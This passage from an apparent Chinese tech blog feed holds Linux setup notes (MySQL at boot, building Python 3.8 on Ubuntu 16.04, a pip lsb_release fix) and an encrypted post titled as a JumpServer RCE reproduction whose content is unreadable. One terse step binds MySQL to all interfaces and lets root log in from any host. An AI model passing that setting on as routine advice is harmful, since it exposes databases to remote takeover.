class="line">lines 1-16/16 (END)</span><br></pre></td></tr></table></figure><p>设置服务器启动时启动</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl <span class="built_in">enable</span> mysqld</span><br></pre></td></tr></table></figure><p>设置安全策略</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0.0.0.0 然后mysql.user  root的host 设置成%</span><br><span class="line">flush</span><br></pre></td></tr></table></figure><h1 id="Ubuntu16-04-升级-Python3-8"><a href="#Ubuntu16-04-升级-Python3-8" class="headerlink" title="Ubuntu16.04 升级 Python3.8"></a>Ubuntu16.04 升级 Python3.8</h1><p><strong>下载源码</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tgz</span><br></pre></td></tr></table></figure><p><strong>解压源码</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tar -xvzf Python-3.8.0.tgz</span><br></pre></td></tr></table></figure><p><strong>进入目录</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> Python-3.8.0</span><br></pre></td></tr></table></figure><p><strong>安装python3.8.0依赖</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get upgrade</span><br><span class="line">sudo apt-get dist-upgrade</span><br><span class="line">sudo apt-get install build-essential python-dev python-setuptools python-pip python-smbus libncursesw5-dev libgdbm-dev libc6-dev zlib1g-dev libsqlite3-dev tk-dev libssl-dev openssl libffi-dev</span><br></pre></td></tr></table></figure><p><strong>配置安装路径</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./configure --with-ssl --prefix=/usr/<span class="built_in">local</span>/python3</span><br></pre></td></tr></table></figure><p><strong>编译</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make</span><br></pre></td></tr></table></figure><p><strong>安装</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo make install</span><br></pre></td></tr></table></figure><p><strong>删除软链接</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo rm -rf /usr/bin/python3</span><br><span class="line">sudo rm -rf /usr/bin/pip3</span><br></pre></td></tr></table></figure><p><strong>新建软链接</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo ln -s /usr/<span class="built_in">local</span>/python3/bin/python3.8 /usr/bin/python3</span><br><span class="line">sudo ln -s /usr/<span class="built_in">local</span>/python3/bin/pip3.8 /usr/bin/pip3</span><br></pre></td></tr></table></figure><p><strong>检查是否安装成功</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python3</span><br><span class="line">Python 3.8.0 (default, Mar 27 2021, 12:35:37)</span><br><span class="line">[GCC 5.4.0 20160609] on linux</span><br><span class="line">Type <span class="string">&quot;help&quot;</span>, <span class="string">&quot;copyright&quot;</span>, <span class="string">&quot;credits&quot;</span> or <span class="string">&quot;license&quot;</span> <span class="keyword">for</span> more information.</span><br></pre></td></tr></table></figure><h2 id="升级后无法使用-PIP3-问题解决办法"><a href="#升级后无法使用-PIP3-问题解决办法" class="headerlink" title="升级后无法使用 PIP3 问题解决办法"></a>升级后无法使用 PIP3 问题解决办法</h2><p>报错信息如下：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210328162425.png" alt="image-20210328162425224"></p><p><strong>原因是是找不到 lsb_release 模块</strong></p><p><strong>使用下面的命令查找：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo find / -name <span class="string">&#x27;lsb_release.py&#x27;</span></span><br><span class="line">/usr/share/pyshared/lsb_release.py</span><br><span class="line">/usr/lib/python2.7/dist-packages/lsb_release.py</span><br><span class="line">/usr/lib/python3/dist-packages/lsb_release.py</span><br></pre></td></tr></table></figure><p><strong>复制到报错的目录下：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo cp /usr/lib/python3/dist-packages/lsb_release.py /usr/<span class="built_in">local</span>/python3/lib/python3.8/</span><br></pre></td></tr></table></figure><p>问题解决：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">root@xstark:~<span class="comment">#  pip3 install</span></span><br><span class="line">ERROR: You must give at least one requirement to install (see <span class="string">&quot;pip help install&quot;</span>)</span><br><span class="line">WARNING: You are using pip version 19.2.3, however version 21.0.1 is available.</span><br><span class="line">You should consider upgrading via the <span class="string">&#x27;pip install --upgrade pip&#x27;</span> <span class="built_in">command</span>.</span><br><span class="line"></span><br><span class="line">root@xstark:~<span class="comment"># pip3 install --upgrade pip</span></span><br><span class="line">Collecting pip</span><br><span class="line">  Downloading https://files.pythonhosted.org/packages/fe/ef/60d7ba03b5c442309ef42e7d69959f73aacccd0d86008362a681c4698e83/pip-21.0.1-py3-none-any.whl (1.5MB)</span><br><span class="line">     |████████████████████████████████| 1.5MB 15.9MB/s</span><br><span class="line">Installing collected packages: pip</span><br><span class="line">  Found existing installation: pip 19.2.3</span><br><span class="line">    Uninstalling pip-19.2.3:</span><br><span class="line">      Successfully uninstalled pip-19.2.3</span><br><span class="line">Successfully installed pip-21.0.1</span><br></pre></td></tr></table></figure><blockquote><p>参考链接：<a href="https://choudalao.com/article/100">https://choudalao.com/article/100</a></p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;日常学习工作总需要一台 Linux 主机，但是每次需要配置环境的时候会很繁琐，因此用本文记录一下新装 Linux 的环境配置</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    
    <category term="CentOS" scheme="https://www.lintstar.top/tags/CentOS/"/>
    
    <category term="VPS" scheme="https://www.lintstar.top/tags/VPS/"/>
    
    <category term="Nginx" scheme="https://www.lintstar.top/tags/Nginx/"/>
    
  </entry>
  
  <entry>
    <title>JumpServer RCE 漏洞复现</title>
    <link href="https://www.lintstar.top/2021/01/a3a6c3e5.html"/>
    <id>https://www.lintstar.top/2021/01/a3a6c3e5.html</id>
    <published>2021-01-31T04:00:58.000Z</published>
    <updated>2023-11-09T07:40:38.118Z</updated>
    
    <content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <div class="hbe-input-container">  <input type="password" id="hbePass" placeholder="" />    <label for="hbePass">本文已加密 <br></label>    <div class="bottom-line"></div>  </div>  <script id="hbeData" type="hbeData" data-hmacdigest="1c62f606eb1bfc39ecfd330955652c0073b77de00f027d292f16cdb2ba64c4bd">0495f905816ef733cf28cbb40789d7970620016518b4208c60e35e4eba30f6871ca159e5b97483e71c7c04b016a2090394bb41138193a14bc3e19b996ef2fdb736ffa2a8d8a157cbe68bc866e812f59290c5672ffec21fc5e75088d9552f2cae67eba43bfa5b95bbe391bfa7687c769ff8402df3f3261108b4d03481a2c385ae8bf086f7fafc4a5e61d8a78b466acf4af6db792c93607e6af6b4947f5a48d31f3fc7fa0ca9c8ce225c8e99673b4b7dd070b26e10910dde8f2f3bff7f52039b442a473b86a6d669bb8f8ef44bf2d9763bbf0796e9435d08c00aec0b999614a9dcb619224684b7bd12c8d14c564131d7fcd4d74851ae1d79bbaf6de45f01ecbb1f6cc35b3ad760dd2eed264a25671539eadf1bf95a27ea3a5b7df3661344f7d5583b5bc04889329ea3395ad71701d0e5fab41b75875b6ffabf691ff36fd111918dab03602ea75545524580178ec036cb90830ddf0fa2f583beedb512aaa2631c37afe94eaba034138de9c55e5ba955f81d068f03b08ef8a84867d5f6e26a1a34d1a05307b5269e241e5c85d7782846fdfee515f61773409649fd02b8de72b8f0828f9a2357f1ae1faffb29be74fa2548763a055294eada6fe7741a2e4ed6451cfd8eac00516b36fc2f0cfd7962f7a0a4893f5fca01d36654a30f3b5978854e88ca13293cf727508e574ae2aa20839fd7246ed88466c610d26230b66caa3f18699ab11d8a1d0873b7852d36104e3f6d5218b9f0f0b46d9ec9ee533a50210e643b6714f1d6d687db2733caecc3a00dd96744dfb79a5357b73a1c663661ae0ec2e41db1f126ec3227e2ad5b537cfcb5b797ba02b402a9f05e8f0ca28251e5084568eae120ab1b3f88b49e0ec8b9a9ecbcbfa405ebf13a07721163407ef5892ea2e5792c04cdb3c476100e06eea805e2314fab9182adbb8ad1e7590d324ef0b943ea668be731a61f1433048a53d9d693a249d8530d70dd3e65abe8626a5ccf83ddc7dc98d476f0855bce80ac6871ed94b4300b45bede55fbf2b07d5e3f8fc67877bf01afd1288389fe92cc4190697d03e88a36ef1ee310b5a74b73282ba3c6e073d12da4b008851f34bd6876fcb5dcc61c45ef1ed5086918e710bf9b9550983600482f8af01cc1aa8eaeded6a84701b68fce3a2da53b29a5344c226b414009330d795691f73abf9b397e9bfed3afff34ec7a7f841b1ed38974e672e097c043c155a0feeff1479946df050be6f3a12bcc9ab5487844d5b79906df74de6a1943acd3e72e2f9af12928d63cd03ed197145cea25e27b4e96fef970851688d3bc27bbdd7a47e6fbc01ee063256057e96c8366d5835a2eb87b71fe18cd0f163364cc7f3849a1a84ff31e804c0728b3418c594de53f5a99152a3addb235fab7c578db1b04a97b300ba11abdca477e679eaf1065245ee9684ee9b25a647673e18e16e6a8afc9653d289e0d4247eacd61bdbaaa3fb34a40b001a8d32ee22101efe021f8e50405f71489875200971a1e9ba12429c50c8cb72f03765753d17778dbc9a5663611a8fd6c5450b7f940c3ed857879590158a6a4e1248479fb5ca23aea23b8a4cf5d194dff8b35711cb3f4ed8c645b190123821c2cc0cceca8cb327e81e22bd86373f0e0487256268f7453d760f12ce892aecfb63cb12100b9c7d8a2afb524670ace80b590e84fec0e817a6e6af963a7631c3be7d5aebb095497971b29bad13071c75a982228978e78115c4a6a6df7a1be15795abc9d282f66d47eac807a2a125e4ba1b79cc3110e9061471e4beab5b8442e1ac6b8396774a7dd6f7084bb9e8c1ad6bdf447a87f6e3cf3a313aef8457302325bfdf479fe23019ab06fb1234789c27cbafe897b220239ed1a8530b5c357872a6718ef4e853285ce189c7746332cd6e7a03e119c3a4fc02781130a4b7224e5894d642e63b49dc312ca8bb070b05c4640bf1c6253fda88fe7c18742754905e619c770324c52e5801ebcf0008f86e90e1eeead0d09335ff19e12bf2cdd402530ec85aa6e3d508a47dc049f60e718402e6fd38510366d7be6a2bd1d40435619435f23b70b40f40e66d922e1a05998bee9679a67ca7f5aed0ff935d7c6a6c387ead252ff018e0b15b01f12aadd96bb0d76616f91723f6dcf56a5d758f3d857ccaa38c16f1733a7c1794d026ed07caafa3a819a4b5d65db53e48518724fefacd916b9ceda7c0b693acbfdf5c45b569fa8f97288961786bf6e43d5e93a81fc7d84ddf9f0c80921b52c770586feceec3d5b53a34f846dbaf48724d69110408f21393bf04a3c67498341ee43acfbfa9861b0661eb512670e91f63586e06521c4192bf5e20578ee4a52caf1ad81df57f10bcb8f9558941c6ac8d3c3905d4ad724325f037bcd9837121e59f28448a746da1b0c13fcbd03147ac96a07ea68ada1a22fc4d57576a0f073872f50a3b6bb7c53808d61883d2d5aef6839e3a28ca62566625ff98db175d5b9d05c5823400d423375cac7367c636ffea6d7905dcd74bb6cb0439c6149f2171710470f20865d03260647eddd5dd6aab3ef321b78c8e7d21da67dd439cb93c2d05757a1742240be3dd9725ff90472f94eefe2f56ad571310b6302cceafd5cf698862aff9ddf72f7db091c90e44a8a5997f214d8de836e0fc6166520803f1d57c2792ccbfeb88926ba866ef46ed4f7c1970cc754c63278c3f5197be7751b252c476b44feb5c52821a37029443c646d2f3b51bafc2b22cbfc40fc31af2c21a5b007377f32d45f332bc13bc0f80bee2cc8dc930ad8c4d4fb275d9341f2d02907ec1a5e8d83d0d3a51be5c09ed3d1712bb1783d3a4ee20ce01c453119d1c4ea08713d6ba015b9e16e90ad7b7d5e63ea85fa976293667b4a772a0c869eea4984fdc300989b64e0510e2c54706cec89c95f0dec1ae7115cc02be0cf263b50ac470013be03fd57205ddf601aa9a082bbe1f3f169ea379176eefd11c9507be852a6a9c73207cdf6e64347b6ad01dccbd5441e997f614281a9b26087684ed5888c57fd88bbc018905a99e38c3fb1b60e04e206830e2243d9f897aef873f90a39af2aa3284ea366636af76573f2a100fc30bbc6786fec0620a163624ab7008f0286e667cdf6fc0c34313d5bddf3973e4bff4e19347685eb61d8ba15284df00d37f7042bfc0f4cef035ac984da3399b3973d357778c9220684ee0cd134a2d2bc675942f1baa11927bf0db9760a727a4d2660572a73090bac0808860763af38d8010514c23a139ee77ba931e8b235e9580ad33e367995f7d08c82d0a14544e6ed20ccb2edac5e31659548087574cff132dd4235c01996d1c7b0cb175a098134e36a336060d15927a4776e332687460e7af7347f2a5542901a7789828bdcae54f472a3a81bd9c260858c36ede7ee26d13abd94ef2b7473fa9c471ce07f220919cda9356ea72a6a30af09646898bc87c480e579787b1761d495c320c89b91f8f9ae7758f468321f11aa8a795e7858980ac1ad52c0e27497e7a1dca53fdc0f3926022fc7deb9049dfd1718012b52b724a3e85d137458db4905a5fca22f4c3ea8c8e1ffba7d592d72c419841b83d874b13b187511afb45526497a26245b76ce9912105a506f6d02f054c314dc3140a7e23117b6dadf802f817fc28f48a6524c3e1cd982f5c2ce3eff408e5aa1d96baa2ed9fab407d0ae386d41014fbbbc16f384e85d91924a7d6940dde2d18f6eae2121acf4ac0dd132fa7b45049f4b6823554bd7e9587724930ed96515d03f7fef409a6d792a505b0968d870e137ccc3cec223c622c29eeed6a4c89e95f3f725a8cea500d99463602114f716734eaaf287df107dab9cd106512af43095e8e9e491002844f9996b1467408a9674172f5e1e2ea0fe97de17e7f1f8b00dc1a3164f9081ed81f0db77fb76b789a5ef06ed34dcbc3871e153707417ede05aabddc4541e1a1d247e19af4db23b7a95dd371c2e6a4651c0dce3ecaf74421b4f835cf8b4a213e74c34fd32632b2b42aab7835a9cddbec930db8b6c468a1f47d4ef2af5eca6b2333497fc0494ff1b0cd94d0affdc8454f7f4efabcb48b6d106340492b8b676fe3a6e2b6019ed8524bd90be68909a3534ae8c23ca52e85d967df1726581dd95e585dda72a00be7c1c3d78d26208be74ffa53fdff8d09bbc3f00473e348dee11dd671f7217354c4dca9bfb04bdd9da150dbca3481f53174623b4498df25e536ef95fae6b87efb39db7fb3a8533aa4cd4afe7ba076a56ff7ebf353b85c821bf47708dc1f9752475c6996e78762ab5dd3dd9f8b204becf58eb79c1c2e2c080e7b656b7db16a8a7aa905828f8c7bcb8a6ed104ed4c801e7bf041abf29be313131faab8cbb597fa4176b4a035ebad93acd739f27bf85521af6c817180fa2f37f6ad578e714fcfbaacf0036c0cf706acfdb4dbc080b640f7bc9edd8030134c4fc9b0b62da0b2907982e6955b12622e962735bb84617587fa9c2a052a4c5cb2669f44ea6a8beeeee93aef63320186795fcf3a39d57fd76baf85a7888b893846705c9c7421067626fc8ae2adf3d70edcd6b4460d077dd3311f7b14f32ec2691ec84ce41f3028decb511593bf1e7287eff2b05e473224b29884934929325a1a5afc07fb9547aff8a0453d162c160dddd426c56560f4c7333f6baa5ec8e4e40cfd23e1bf785126e7d2ac6aed96c1666a22e6272acf57603815333232e34a672cb788f5b7d4a2f312b6ec074951bd5903f606ee0b2b7d6ff6043465de2f6d60102fcc1d0eef6d575560d9542d5ee8c51ad621041a93e835c9aa6344dff2477c338b49f74946662213a6e85779b2b439715423a4bb5ce7fda77a9a04516c4f3418c32e2148414d218e435e1880302abc4b35c13be0c74af365ed9ec5637b7ed6b49415417d6e882dee2d38e1c7a3f846541444e53fc1d4a587640615ce7e88e28f2a85768de2f4b13ea26d29b74fb9c07ff42c1c506d815529b7c0930f3b738cbaefd2ae91e4ba4e3090f6aa450f993520db6f03f07eb78523fbfd2a9b34b0092153772b70d3ea7995967d60c631eb8b6468c174c56ef8eb2eb139a3fed85ce885f49bc2a52a1ddc6554dbedd1c0e43a5f243eb0651249e551b752cb817c987864e64a272111725301c0cab11b462345a89a81693618493989dce832b309913c270bdc44c5da9ce635fefb787c29301a496dafaa402ba4541645f5c4d82d3ee816824fcd140b840c5547e85dbc110e3b08f6614fa0399df3a055d136cfe34d0b0cb379d1c643c6f8b0e8ebd969c8d3fb37e2db793b36799995f380a9887733d7ad2e7507b32379b3796f1b2bb3b356f98d26d32971a08f41cfefe56425f38447fcad5de6c54936b17adec1bc78af8d68ab89e41c4225e7f16da7b7ec3e999cf68954f0ff6d90ba37f19d524a4e79f1655929777c5efd5221a0350a07d6add14c429d6554ebc91385dfbad7f9c62dc94667e46894e2f127bdef79fa09a644253f585dbbddbb56903923a08a40b5a579258d0bc66999305abcffad27e4440fa5459dc1089b20779ef48751d1cf6f5d3c4f45e1161aff7de99c759f3ca8dbc28845d36b880c57959bd943acc2797a0bba1a97fcf3f6b8dcb350abfce9cad2244d3d815a28faaff5888acff8d2231a823ab0e3b1b00e1fd906cbc8ed369a1706da228c625a8922379acd9b723349ad0d88560ddb31e1b29fd61bf307291fdc6e203b8b04fb402a4464a49f1f9ed3787eb7a249a2f1334fbc59365bc5a408e73b43ed21a44cf180931494410fb63de07ca7397ccf3e1e0e7610c84618234d73713ef843c78e26f85800702d2eb014bbe50b42d78f3f72219ad2a65ae7c4593ad4710b4d847d5af4a34cd578a7bf180d773e86598c499b94bab43442c85c12544694d12ab24830b9baf08613370d322ef29cc56f2448d1729a5eff413c065b86053a8ae9b21574dd8d261bea3505bf45c4158b7e685ac8b7e38b941299100b1077ca2f8098d063ac246c340e60fc522c117ae92477b9edeefa137063edb4a812f6b0867235b89d74aa6fa45370224acb0e36c78453047c6d2d44b4cc9d8d4aeda41b06a64dcdb6286327771f85547eff3866c8afdd16cf75c4b0897d96778df5d69e2550f100986a7a7f3a8bd270c7e660f221abee128357fb83e9bac79244af6bee57547202ba2934a2e1c0226b861de51a54e10d78f99d715a612cb8b6a06cd05b1fab329ec14b69871a62429db7db7ccb55cdc469a77dbcfffb51cfc60803b378481194656186c48eef7e2f1691c1dff519bed870e62d72b7d418d44e3533909d892e618bea5aafc21c76ec778fb3c9be9b02f579cc69d589827e706c9c3ef560d591c51a30e7b59563dfcb634a5cfe47b79fac3793d4e2fc9017035e1fdf2e7a4892cfc083e664547c30b855b569b9c3f550f548feee3e7ea7e4986f8595f2be9af821b74c44664d06ad408437700dcff16414df37be1c1af562f18e1be989440b2d4a35f9dafb4964475284765e0c355a15d25fcbc3a698d04feddfc8904d90de2d8390c3fa60504d5132d3bfeadb83e2569a58dde08b8121fe087c60ccda62a46b5ba807febf6849f5f4e42f52f04eb5f0a7a13675d7069cd6b14fe5f84529d79858bff55a7fbdb89738866aaa4fb656b7a46827c226d6defa3150dbccea0edd46cf4793cee19bdfc146c79a630291b446c44f6feb188700b30a8923a585a2ab07ad4aea0ead4d0fc0609cea12dc00c3a655f70d11314d08def30d30cd030f31af922c1ae601661de232e591fd6347bc6a674a5fa5b0d0b5a9afdcecf79a3d90aee31e9698f9dcbd8a593cfa313215d64b616141501d6c9da126a9bbe3f37ee309ae07578dea52a5146353c5c7cf95551a57f1d1dc584183dc79e750f304965dee5983712edc4224108ecbf8cea52f2f4cf7f61216b5ae0a17a130f8afc0889ee5e424b35ac6d9ab3602de55e0df3de0032c4b1d43022f96d0aef4a2e40ef98bad0ce141e38d1003ed9ed93333bc97ba4c4b1e3e3a25a7f98de5be68a666d2b0825ee41e033ac69f09261ece0d3277cd0ef74ff96a189042f047d03307779ef593a2310e56936d83b218f7b8233c4ecf2feb4b454b1dade3ebb4db3ef550be2ebf035e11228a2c2481339454cb59551972d80ebe2026adf7fa041faa68ff8eff876eab75e83bd543f5a0c382a2c3857acda3945ae94641dc3da5367d81f1affafeca60abf1d0c1d84ce926edf9f56ae057be3f3b83f32c87cbc484f8d8e1153430b954517fe1c7bfa62a36f5ffa75c6ac6648a599f1c96c0ce0943899f15b4f0d119bbdfa712ee4f26f8507e5fb6934c2661dd6537df1a14b644bb79a34f1b40aa952299f8b6ee6e667eb7cd3c6d3eb82047264ca43ab12619c24d52facba1186335b44b9bc35f1370e8c06c253e6f08fd93243dee2b76404ba0ffb812456904bee0bf029fc1da8dd84657df6efcd9469c859521dc0a3f5a0ee68e481dfdbbd8bf459fc158d0ea7024e3e9fed6ad231448425e045950ac14600c4b2ad36b3495a293c8fdc4450976792d72a831b814cc6b075b54b1e75670fc21d5a19cfddb39c54bf2ecbafa885432fec3f4465b6fa4cdc87f27a72ddf51717fb35390e933339813965e2243ad3345edbd23b1f5173cd864272c6e9dd82c02b4beeedaccce5ba2e4c334271b3c7920a3a14e620cf437123d3a666fb3563de8d8228c63c4f153944301eace040b99bdef49ce0dc8272cf30269822ff2e568235094ebdfe6f10eaac342eb0af5d590f3d8a7926ba89b405186d1802d3b17eb6929bf2f10a6ce1189bae4d15c38522d94309e73da128cb390b3dfcd5ffb5e54bc4534a98d1fc9829d850df22a8ef66f6ee2e440f13ff008a893152c33541a5972f4f7357bf04424d80eac5b917352d77e3a0e67d78d142d1a9feb93908e8269859649e849ce5082a131769fc12d271fb9074bd7ce27ec7119885d507b72dcca749f1e446b624386d253daa0532d9462f48523fb22a4af30e7733f5c1990b03bfe50c5c3804ac540a4a6bf99e20e6985c1333dcc4fff1489525bf1483eb470e3da2ce2dbcfe8026ca733633c053fa6219e7b6bde36688f8b38961d44daf4d2ce68236314055b96adf41321289d0dbc92314e1d4aebd4d092e56cac9c68de56dc460c181ce4f2329725b8b3d071e138ea45a2323607185a941eaef286a6bddfd031750e6b3736a9ea082aaca1ea1b767748064acd0da7517abbcf7a981535d9bd0d751aa5b10fe4888f0846f05e87bafd3576172ad4fd7cecd2b85d71b454c28dee31f07ee8b7fa2c464268cdbd70527957279c4938d395180abece217deeace7dac4a8ddb1da33e3d20ee5a41d2e862a49857a9657499be0976ab1db6ce2ddcaa6d39b5fa35142c997ad0679b2866c91fc4048812d4952a5598c3e0532824278ee85f4053acc973a652cd187d22f3f0fe0ef1dafe47a0df26178601e626895736d85633bf90dfff9dd2eadeacc2c3cb31020634f40873049eda5e62d90651dcdb0f201657ec02dacac59604b26d688c364f3eef3421a08ad422b4405fe0521a02bcc26cb8b8f32b90beb0dcee0592a4147c731f838e6ce2d7f489f8013523e1bdc4543bb62202f550ef1099cf40049542d2f1de850c6eb05e5ebe11157cc29e82a81a7e57e8f387b004e172075044f0a82977595167fab51b3dddde3a7d8a6b6fbca4a79a42cb8bf85483f7895751286e7d8a9803336733ade83bb312d2f7647642f431830723eac91be8263cf9d661fadbbb0515520747ee257233151727288aacd52ff01c9a44d38f454d672307170449cbde05a8fba862faa4f2bd35520c49cc338da5de174fdc75ee4a25d1df32fa040299f8b58c3ba8c518af3e53f4420a3573180a7acf2e854dd5e151eb52c3a7a7d5d4f243e89ee1c575b04b9f97b02e2f8c8c53b835e493e8330ffa828fd85e8a64086e62b6b0a76fa29bd3a35dd0566567f40249b149d2c69061eda1db7e29cdb9fc55784b710248164d0a3c7e7027a22b45512f33bf4826114a399672e7b02c674212f09d1e224c3a9c8db9ceafd09ed6306a8c89e7ad7995f8820f2c612c74c9239ce931d31f0c853ba0e240d26511554dbe38e5a063339053fd18a2ec63284e21fdc826a32dfebf2c777b20da3f810b78e2021aae04591f92bc060152067ff6f88cd36f087f28055d6f6fe27b2e0e514636c913368360beb8c94b0fe7a01ec0dc67874b3fd46dcabc23e41827b35cfac9aeb1c164fa22cd9a9619bd4e5ec37cc6619f7bb4832d4aef1364fa35a1549a823d455f8c28994677d8beb81bf7226eb788e95a9741bc37312b8e0c16b2dbe288dd2c8b45eff2a8b87dab4b872fd7b63860c64ac8cdca5597178991fb65a6ceec89492692b2a5eb16e19922311b6610d4749eda306ab6131d5202744e63c906f5f522c5e7c908af1293c5ade5da7003f17ae852c5074ab4800d672d3ceb5f8f4be2e00b1801d05299b41dc7c25ee37468f7694206bdfa15bcd26b15b6adc3e72685cd5b1fb1e6a04017214126f99df9a7ff7c66368d23c727b82675583e21537f739ce46faab315590a60628b7f1f103af866cebc0774c8e7a161fc9ce2cb12cc690fb47978a83c9dd7538b727679c75fddb273fc5868ce1ab1d14c5e0311d813c31d7f8c93c1f304a981429303eb396c9efd93aab8b1c49fae60973b05978d157b39ccfce6f52065227f5b16f86d9ea32c85d82a3fa860cc54003e22b3be9575272552f03d37f105bc7f3282601a020b489b15fa1f995be618401e2c36a0fc52f7effde25c486d7ec0079420f2aa97ae0bdb66883c8b3a2e56f47449807584597b3e26291a98f20a0099d8f4ec00348f7c18a6824f441fba1039d5ffcff8f5f1b12507c000702ea90dedf2ed715bc392b371cfe246d72e31f24404db6f471c9e7352ea3d17fadc68427191bf89a05a2ea2002da19cf497065805f4cfd3967e8573ce63eb46b72be58a1a1f4d910ed42cf85497a8fb50b3a862fc5012312372c118ecd22e665b06f9e13434108c66c2d99ee70b328aa1e96c82831e892ee64886bea8e1f033c8194ad9cc9fccf8fc66a24f6800c8f726bb1e803e59a11f5d44ccf44c89e1d6c824afaac6069acd276bea848ac206f393cd3c8f2bc259608c8e6849f2432c6b9e794ca5307d28e12252a4ab6cd88addb151f08d8aacde2d126850f3cdabd9df64b0d404fbc2662b1d3b5ad341f0de4b81f88c53bc96d70549c3260c6af6f8887b73abd82a0455c03e971b56257e8996b95c148ba2aa05a2a9304b4e321ef4eba9d38ec828f10a0e06dc576e86e2b3bb1de0e3960a1b5e4b29f0e58ebce68ad4983bf4f6726270605e9fd0f8a5e4791a95ddb9ba2cbd54987c964b6b370e8066d8b831297ef104841b819f67397a8458a36120d3d6d8e2d4cb995042c125e4c926d52814033ae60645f96a9999bd28c472b53e6faaa524f465a83c3b87c870f097d076207cd265e6d650b3008655bbf6b2c64440ce33ffa7b3193cd8dd4f0f7da5d735bb466e525473078203d515ee421771db6450e5a13003ccb005421d12598ef6773aac0361cdbd42faead864fa62e017edfb4e3afb214d4147ac1631f74137839ae08ed17cda7ac8f3ba2034c53fb677039394dd1de63dd22bf8c71b5162c8eecdedf65f06de70542daf845487a34c4ba945590e64338c5c8538283a771073c9ffe0cdc66749d3b6bd8693de33d99c9703a704342bb131033ac16a08a75b5359e24a05e20f253fdd83d02eae791114d55ee489d4396164cdd838df88cb98654dace8519acacb4d2c1188db194a7e345b1b2444653273d9d723d18233cd8226c169f3964a70d5cfc9f88d5f47082907d6cdd5ec47a685bd76dc9f901954386a5b89fbdfc06b3fcd9c7f2137bcf99866ac643ad925c465ad62e3fc65d2e51807cc33dca43019de370c349ff228705dd75c1fe0e5a42f4068887b2db8dd6c4802353cedd9844512337032f495a403544a4a9e2be99777adf7e5239fb6440ad161b5b51c0ad2705c1fd4ae0640a29aa6e00c15fc02c37df3232b34a3b14e6a63e36b8027995ffffe6a461dfacc682074ed75b76ef6380f61c837072c0f7a6c015314c85dcbc02a89ddb075e0bc2810b91ee295d9d0a4e73939633c1aca7fd3c27b4e9f3cbb617608c7d51e9811a8d300dffa7d7ca84c0b9007e3fb3a400cb5442f7feebd0b94d5e218b8a3f2ab071a709bd539af7334813d10d83e0589529c5c44ca195f5cf893ac133d710f105016b6f602dd5a2d5b179f3d3630121243c010487874e5dd1145e831cf9361d12bad69c0eb20adb3f074a8a5fd1215b494917bff936457123dc1c0ff31a1e8a65ee8e2e5d9f6b251d126a6674b670e91f70211ffb424a184878a18c614d1a33314dfa8dc9ee8d64fe44f623d3b1008f841de3c7e406365169b56286e49d98bc3fcd28b722678e2c4152605f26950189f474afc8e316dd5f60814c108ee892d738af6c3eec45b3be0692954ad5240eadb1f7038550b5752acf9a18a08e5eb16e6f4972d24056c4663649f08f9a0a35670a965568ef02403db77a7bfe5205160a84d5a9d043f1f0dcb0d1c2f484c1a92f6e791b9e91277385dcd5e7cf302f825a515a1042e5356e7857ed49008c503e2bb24b270f754deeec31a7542bd1a37f5885e1ddbf6fdf0a65a02c81207d7c716a9cb520225f13d9eb184b701946ffba33403d34d69fe7fd5cfe469e12be4271071d19c1afbcc2ecc0c329064347b36f64c78bf1ed86a851fc7db52886c8d2a85927e646d4b6832a39468e8992f038fec0a32d48c6d04aba03407ddd082ddce3a1843957dc285b06d6e30eca705f872d25cd1096df9ca938c530add359acb62feb78aa45b4370f7470d48364bed16067bc4abc76350f74cbe491cb0f00c3d2a334f0eb143a85f3381b92126f21cd9e9b42e1c47a2ee7cff1c75a2ead0d09103533ad2